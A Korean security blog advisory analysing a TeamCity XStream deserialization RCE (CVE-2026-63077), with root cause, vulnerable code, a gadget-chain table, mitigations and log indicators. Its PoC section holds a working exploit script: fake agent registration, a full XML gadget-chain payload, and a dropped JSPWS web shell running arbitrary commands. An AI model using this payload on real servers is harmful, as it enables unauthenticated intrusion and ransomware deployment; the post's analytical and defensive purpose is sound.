1. 취약점

- 인증되지 않은 에이전트 요청 처리 과정에서 XStream의 타입 허용 목록 설정이 불완전하여, 인증되지 않은 공격자가 객체 생성 및 역직렬화 과정에서 호출되는 메서드와 콜백을 조합하여 원격 명령 실행이 가능한 취약점 (CVSS: 9.8) [2]
> 해당 취약점을 랜섬웨어 공격에 악용하고 있어 즉각적인 대응이 필요
영향받는 버전
- TeamCity 2026.1.3 이전 버전
- TeamCity 2025.11.7 이전 버전
2. 상세분석
2.1 Root cause
- XStream 설정 시 기존 기본 허용 타입(Default Permissions)을 명시적으로 제거하지 않고, 커스텀 허용 목록(Allowlist)만 추가한 것이 주원인
> XStream은 Java 객체를 XML로 직렬화(Serialization)하거나, 반대로 XML을 자바 객체로 역직렬화(Deserialization)하는 데 사용하는 자바 라이브러리로, TeamCity는 Agent Polling Protocol을 통해 서버와 통신하며, 이때 XStream을 사용 [3]
> allowTypeHierarchy()는 지정한 타입뿐만 아니라 해당 타입의 하위 클래스나 구현체(상속 또는 구현)에 대해 역직렬화 권한을 부여
> Map, Throwable 등 다양한 구현 클래스 및 하위 클래스를 포괄하는 권한이 포함되어 있어, 객체 생성 및 역직렬화 과정에서 호출되는 메서드와 콜백을 조합하여 원격 명령 실행으로 이어지는 체인을 구성할 수 있음
// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;
public class XStream {
// ...
protected void setupSecurity() {
if (this.securityMapper == null)
return;
addPermission(NoTypePermission.NONE); // <--- Clears all existing permissions
addPermission(NullPermission.NULL);
addPermission(PrimitiveTypePermission.PRIMITIVES);
addPermission(ArrayTypePermission.ARRAYS);
addPermission(InterfaceTypePermission.INTERFACES);
allowTypeHierarchy(Calendar.class);
allowTypeHierarchy(Collection.class);
allowTypeHierarchy(Map.class); // <--- Map is allowed
allowTypeHierarchy(Map.Entry.class);
allowTypeHierarchy(Member.class);
allowTypeHierarchy(Number.class);
allowTypeHierarchy(Throwable.class); // <--- Throwable is allowed
allowTypeHierarchy(TimeZone.class);
// ...
2.2 취약점 악용
- 먼저 서버는 /app/agents/v1/register 엔드포인트로 전송되는 HTTP POST를 통해 에이전트 등록 요청을 수락하고, 응답 헤더 TeamCity-AgentSessionId를 통해 세션 식별자 반환
- 이어서 공격자는 발급받은 세션 식별자와 가젯 체인(Gadget Chain)을 포함한 XML을 /app/agents/v1/commands/error 엔드포인트로로 HTTP POST 요청을 전송
> handleCommands 메서드는 TeamCity-AgentSessionId 헤더 검증 후 error 명령 처리를 위해 handleCommandIsFailedRequest 메서드 호출
// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
HttpServletRequest request,
HttpServletResponse response,
String[] path) throws Exception {
String sessionId = request.getHeader("TeamCity-AgentSessionId");
BuildAgentEx agent =
sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
// This check occurs before the vulnerable handler is reached.
if (agent == null) {
response.setStatus(401);
response.getWriter().write("Agent's session is not found");
return null;
}
PollingRemoteAgentConnection connection =
(PollingRemoteAgentConnection) agent.getConnection();
if (path.length == 4) {
String operation = path[3];
if (operation.equals("error")) {
getCommandsProcessor().handleCommandIsFailedRequest(
connection, request, response
); // <--- call the error handler
}
}
return null;
}
> handleCommandIsFailedRequest 메서드에서 가젯 체인이 포함된 XML이 역직렬화되어 인증되지 않은 공격자가 원격 코드 실행이 가능
// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...
public void handleCommandIsFailedRequest(
PollingRemoteAgentConnection connection,
HttpServletRequest request,
HttpServletResponse response) throws IOException {
Error error = Error.fromXml(
StreamUtil.readTextFrom(request.getReader())
); // <--- deserialize attacker's XML
// ...
}
2.3 Gadget Chain
- Gadget Chain이란 기존 코드 조각(Gadget)들을 서로 연결하여 공격자가 원하는 명령을 실행하게 만드는 공격 기법 [5]

| 구분 | 객체/클래스 | 역할 |
| Entry 1 | HSQLMetadataStorage$SchemaMismatchException | BasicDataSource로 이어지는 객체 그래프의 시작점 |
| outer-class | SchemaMismatchException의 바깥 클래스 HSQLMetadataStorage 객체 참조 | |
| HSQLMetadataStorage | 내부 myHSQLStorage 필드를 통해 HSQLStorage로 연결 | |
| HSQLStorage | 내부 myDataSource 필드를 통해 BasicDataSource로 연결 | |
| BasicDataSource | 공격자가 설정한 JDBC DataSource 객체 이후 getConnection()이 호출되면서 가젯 체인 동작 |
|
| Entry 2 | HashAdapter | BasicDataSource의 JavaBean 속성을 FreeMarker를 통해 조회할 수 있도록 연결 |
| BooleanModel | BasicDataSource 객체를 BeanModel 형태로 감싸 JavaBean 속성 접근을 가능하게 함 | |
| BeanModel.object | Entry 1에서 생성된 BasicDataSource 객체 참조 | |
| HashAdapter.model | BooleanModel 객체를 참조하여 속성 조회 경로 구성 | |
| BeansWrapper | JavaBean의 메서드/속성을 분석하여 connection 속성을 getConnection()으로 연결 | |
| Entry 3 | HashSet | TiedMapEntry를 삽입하는 과정에서 자동으로 hashCode()를 호출하여 가젯 체인을 실행시키는 트리거 |
| TiedMapEntry | "connection" 키와 HashAdapter를 연결하여 속성 조회 유발 | |
| TiedMapEntry.map | Entry 2의 HashAdapter 참조 | |
| TiedMapEntry.key | connection 문자열을 지정하여 getConnection() 호출 유도 | |
| 실행 트리거 | HashSet.add() | TiedMapEntry를 HashSet에 추가하면서 hashCode() 호출 |
| TiedMapEntry.hashCode() | getValue()를 호출하여 HashAdapter.get("connection") 실행 | |
| TiedMapEntry.getValue() | 연결된 Map에서 connection 속성 조회 | |
| HashAdapter.get("connection") | BooleanModel을 통해 BasicDataSource의 connection 속성을 조회 | |
| BasicDataSource.getConnection() | 실제 JDBC 연결을 생성하면서 공격자가 설정한 connectionInitSqls 실행 |
2.4 JSP 페이로드 실행
- JspController.doHandle() 메서드는 내부 요청, 인증된 사용자의 요청, 직접 JSP를 요청하는 명시적 파라미터가 존재하지 않으면 JSP가 실행되기 전에 HTTP 403 오류를 반환
> TeamCity의 WEB-INF/web.xml에는 *.jspws 확장자를 Apache Jasper의 서블릿으로 직접 매핑해두어 인증 검사 단계를 거치지 않고 서블릿으로 요청이 전달
> 공격자는 Gadget Chain을 이용해 웹 루트에 JSPWS 파일을 생성하고, 두 번째 요청을 통해 JSPWS 파일에 접근
// web-core.jar!jetbrains.spring.web.JspController
public class JspController extends BaseController implements CustomUrlHandler {
protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
&& SessionUser.getUser(request) == null
&& !TeamCityProperties.getBoolean(
"teamcity.jsp.directRequests.allowed"
)) {
response.setStatus(403);
response.getWriter().write("Access denied");
return null;
}
2.5 PoC
- 가짜 Agent를 등록해 TeamCity-AgentSessionId를 획득한 후 악성 XML을 전송하여 XStream 가젯 체인 실행 및 생성한 .jspws 파일을 호출해 서버에서 명령 실행 [6]
def build_registration_xml() -> bytes: # 가짜 Agent 등록 XML 생성
...
def build_jsp_scriptlet(
jsp_path: str, guard: str, response_token: str, command: str
) -> str: # JSPWS 파일에 삽입할 명령 실행 코드 생성
scriptlet = f"""
<%
if (application.getAttribute({java_string(guard)}) == null) {{
application.setAttribute(
{java_string(guard)},
java.lang.Boolean.TRUE
);
java.nio.file.Files.deleteIfExists(
java.nio.file.Path.of(
application.getRealPath({java_string(jsp_path)})
)
);
java.lang.Runtime.getRuntime().exec({java_string(command)});
out.print({java_string(response_token)});
}}
%>
"""
return " ".join(
line.strip() for line in textwrap.dedent(scriptlet).splitlines()
if line.strip()
)
def build_payload(webroot_relative: str, command: str) -> tuple[bytes, str, bytes]: # Gadget Chain이 포함된 XML 생성
if not webroot_relative or any(
character in webroot_relative for character in "\x00\r\n"
):
raise ValueError("webroot-relative must be a non-empty single line")
if not command or any(character in command for character in "\x00\r\n"):
raise ValueError("cmd must be a non-empty single line")
(
file_id,
guard,
response_token,
database_name,
table_id,
column_id,
*map_keys,
) = random_tokens(9)
filename = f"{file_id}.jspws"
jsp_uri = f"/{filename}"
normalized_webroot = webroot_relative.replace("\\", "/").rstrip("/")
if not normalized_webroot:
raise ValueError("webroot-relative must identify a directory")
output_path = f"{normalized_webroot}/{filename}"
table_name = f"T{table_id.upper()}"
column_name = f"C{column_id.upper()}"
jsp = build_jsp_scriptlet(jsp_uri, guard, response_token, command)
init_sql = (
f"CREATE TABLE IF NOT EXISTS {table_name}({column_name} VARCHAR(4000))",
f"INSERT INTO {table_name} VALUES ({sql_string(jsp)})",
f"SCRIPT {sql_string(output_path)}",
)
payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<linked-hash-map>
<entry>
<string>{map_keys[0]}</string>
<jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
<outer-class>
<myHSQLStorage>
<myDataSource>
<defaultTransactionIsolation>-1</defaultTransactionIsolation>
<cacheState>true</cacheState>
<driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
<lifo>true</lifo>
<maxTotal>8</maxTotal>
<maxIdle>8</maxIdle>
<minIdle>0</minIdle>
<initialSize>0</initialSize>
<maxWaitMillis>-1</maxWaitMillis>
<poolPreparedStatements>false</poolPreparedStatements>
<clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
<maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
<testOnCreate>false</testOnCreate>
<testOnBorrow>true</testOnBorrow>
<testOnReturn>false</testOnReturn>
<timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
<numTestsPerEvictionRun>3</numTestsPerEvictionRun>
<minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
<softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
<evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
<testWhileIdle>false</testWhileIdle>
<password/>
<url>{xml_text(f'jdbc:hsqldb:mem:{database_name}')}</url>
<userName>SA</userName>
<validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
<connectionInitSqls>
<string>{xml_text(init_sql[0])}</string>
<string>{xml_text(init_sql[1])}</string>
<string>{xml_text(init_sql[2])}</string>
</connectionInitSqls>
<accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
<maxConnLifetimeMillis>-1</maxConnLifetimeMillis>
<logExpiredConnections>true</logExpiredConnections>
<autoCommitOnReturn>true</autoCommitOnReturn>
<rollbackOnReturn>true</rollbackOnReturn>
<fastFailValidation>false</fastFailValidation>
<connectionProperties/>
<closed>false</closed>
</myDataSource>
<myStopped>false</myStopped>
<myDatabaseOpen>false</myDatabaseOpen>
</myHSQLStorage>
</outer-class>
</jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
</entry>
<entry>
<string>{map_keys[1]}</string>
<freemarker.ext.beans.HashAdapter>
<wrapper>
<sharedIntrospectionLock/>
<classIntrospector>
<exposureLevel>0</exposureLevel>
<exposeFields>false</exposeFields>
<treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
<incompatibleImprovements>
<major>2</major>
<minor>3</minor>
<micro>0</micro>
<intValue>2003000</intValue>
<calculatedStringValue>2.3.0</calculatedStringValue>
<hashCode>0</hashCode>
</incompatibleImprovements>
<hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>
<shared>false</shared>
<sharedLock reference="../../sharedIntrospectionLock"/>
<cache/>
<cacheClassNames/>
<classIntrospectionsInProgress/>
<modelFactories/>
<clearingCounter>0</clearingCounter>
</classIntrospector>
<falseModel>
<object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
<wrapper reference="../.."/>
<value>false</value>
</falseModel>
<writeProtected>false</writeProtected>
<defaultDateType>0</defaultDateType>
<methodsShadowItems>true</methodsShadowItems>
<simpleMapWrapper>false</simpleMapWrapper>
<strict>false</strict>
<preferIndexedReadMethod>true</preferIndexedReadMethod>
<incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
</wrapper>
<model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>
</entry>
<entry>
<string>{map_keys[2]}</string>
<set>
<org.apache.commons.collections.keyvalue.TiedMapEntry>
<map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
<key class="string">connection</key>
</org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>
</entry>
</linked-hash-map>
""".encode("utf-8")
return payload, jsp_uri, response_token.encode("utf-8")
...
try:
status, headers, body = request( # Agent 등록 → TeamCity-AgentSessionId 획득
f"{base}/app/agents/v1/register",
timeout=args.http_timeout,
body=registration,
headers={"Content-Type": "application/xml"},
)
session = headers.get("teamcity-agentsessionid")
...
command_status, _, command_body = request( # 악성 XML 전달 → XStream 역직렬화 및 가젯 체인 실행
f"{base}/app/agents/v1/commands/error",
timeout=args.http_timeout,
body=payload,
headers={
"Content-Type": "application/xml",
"TeamCity-AgentSessionId": session,
"TeamCity-AgentCommandId": command_id,
},
)
# 생성된 JSPWS 요청 → JSP 실행
jsp_status, _, jsp_body = request(
f"{base}{jsp_path}", timeout=args.http_timeout
)
...
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [7][8]
> NoTypePermission.NONE으로 기존 권한을 초기화한 후 Allowlist를 적용
> 업데이트가 불가한 경우 공식 Security Patch Plugin을 적용 [9]
| 취약점 | 제품명 | 영향받는 버전 | 해결 버전 |
| CVE-2026-63077 | TeamCity | 2026.1.3 미만 버전 | 2026.1.3 |
| 2025.11.7 미만 버전 | 2025.11.7 |
- TeamCity 서버 프로세스에 최소 권한 부여 및 서버 분리
- TeamCity 서버가 인터넷에 직접 노출되지 않도록 접근 제한
- 신뢰 가능한 네트워크에서만 TeamCity 서버에 접근 가능하도록 방화벽 또는 ACL 구현
- TeamCity Agent Polling 관련 엔드포인트로 유입되는 비정상 요청과 XML 기반 역직렬화 공격 패턴등을 WAF 모니터링
- 서버 로그 점검
> com.thoughtworks.xstream.converters.ConversionException, com.thoughtworks.xstream.security.ForbiddenClassException 등 역직렬화 과정과 관련된 예외
> 의심스러운 요청, 비정상적인 JSP 파일 생성 여부 점검
4. 참고
[1] https://nvd.nist.gov/vuln/detail/cve-2026-63077
[2] https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/
[3] https://x-stream.github.io/
[4] https://x-stream.github.io/javadoc/com/thoughtworks/xstream/XStream.html#allowTypeHierarchy-java.lang.Class-
[5] https://kr.linkedin.com/pulse/deserialization-what-heck-actually-gadgetchain-florian-walter-gylcf?tl=ko
[6] https://github.com/sfewer-r7/CVE-2026-63077
[7] https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/
[8] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=jetb&menuNo=205020&pageIndex=1&categoryCode=&nttId=72155
[9] https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/#mitigation-option-2-apply-the-security-patch-plugin
[10] https://www.dailysecu.com/news/articleView.html?idxno=208600
'취약점 > RCE' 카테고리의 다른 글
| Gitea diffpatch 엔드포인트를 통한 RCE 취약점 (CVE-2026-60004) (0) | 2026.09.17 |
|---|---|
| WordPress 미인증 RCE 체인 (wp2shell: CVE-2026-63030, CVE-2026-60137) (1) | 2026.07.24 |
| GitHub 원격 코드 실행 취약점 (CVE-2026-3854) (0) | 2026.05.05 |
| HPE OneView 원격 코드 실행 취약점 (CVE-2025-37164) (0) | 2025.12.22 |
| React 및 Next.js RSC 원격 코드 실행 취약점 (CVE-2025-55182, CVE-2025-66478, React2Shell) (0) | 2025.12.06 |









